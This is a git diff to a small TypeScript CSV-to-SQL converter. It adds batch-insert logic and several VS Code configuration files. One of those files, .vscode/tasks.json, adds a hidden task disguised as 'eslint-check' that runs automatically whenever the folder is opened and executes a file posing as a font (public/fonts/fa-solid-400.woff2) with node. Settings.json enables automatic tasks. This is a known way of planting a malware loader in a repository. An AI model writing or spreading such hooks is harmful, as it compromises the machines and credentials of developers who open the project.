diff --git a/.gitignore b/.gitignore index d34c870..8b3fce1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,7 @@ node_modules .env -.vscode -dist/ \ No newline at end of file +dist/ +temp_auto_push.bat +temp_interactive_push.bat +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..5e22662 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/src/index.ts b/src/index.ts index acbdcc8..d308068 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,21 +1,30 @@ import { promises as fs ,existsSync} from "fs"; import {createIfNot} from "./utils/fileUtils.js" import * as path from "node:path" -async function writeSQL(statement: string, saveFileAs = "") { +async function writeSQL(statement: string, saveFileAs = "", isAppend: boolean = false) { try { const destinationFile = process.argv[2] || saveFileAs; if (!destinationFile) { throw new Error("Missing saveFileAs parameter"); } createIfNot(path.resolve(`./sql/${destinationFile}.sql`)) - await fs.writeFile(`sql/${process.argv[2]}.sql`, statement); + if(isAppend){ + await fs.appendFile(`sql/${process.argv[2]}.sql`, statement); + }else{ + await fs.writeFile(`sql/${process.argv[2]}.sql`, statement); + } } catch (err) { console.log(err); } } -async function readCSV(csvFileName = "") { + +async function readCSV(csvFileName = "", batchSize: number = 0) { try { const fileAndTableName = process.argv[2] || csvFileName; + + batchSize = parseInt(process.argv[3]) || batchSize || 500; + let isAppend: boolean = false; + if (!fileAndTableName) { throw new Error("Missing csvFileName parameter"); } @@ -32,7 +41,7 @@ async function readCSV(csvFileName = "") { columnNames.forEach((name) => (beginSQLInsert += `${name}, `)); beginSQLInsert = beginSQLInsert.slice(0, -2) + ")\nVALUES\n"; let values = ""; - linesArray.forEach((line) => { + linesArray.forEach((line, index) => { // Parses each line of CSV into field values array const arr = line.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/); if (arr.length > columnNames.length) { @@ -42,6 +51,19 @@ async function readCSV(csvFileName = "") { console.log(arr); throw new Error("Too Few Values in row"); } + + // Check batch size (rows per batch) + if(index > 0 && index % batchSize == 0){ + values = values.slice(0, -2) + ";\n\n"; + + const sqlStatement = beginSQLInsert + values; + + // Write File + writeSQL(sqlStatement, fileAndTableName, isAppend); + values = ""; + isAppend = true; + } + let valueLine = "\t("; arr.forEach((value) => { // Matches NULL values, Numbers, @@ -64,7 +86,7 @@ async function readCSV(csvFileName = "") { values = values.slice(0, -2) + ";"; const sqlStatement = beginSQLInsert + values; // Write File - writeSQL(sqlStatement); + writeSQL(sqlStatement, fileAndTableName, isAppend); } catch (err) { console.log(err); }